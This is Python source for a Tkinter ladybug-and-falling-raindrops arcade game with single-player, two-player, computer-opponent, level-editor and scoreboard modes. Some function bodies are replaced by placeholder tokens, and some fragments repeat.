data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n 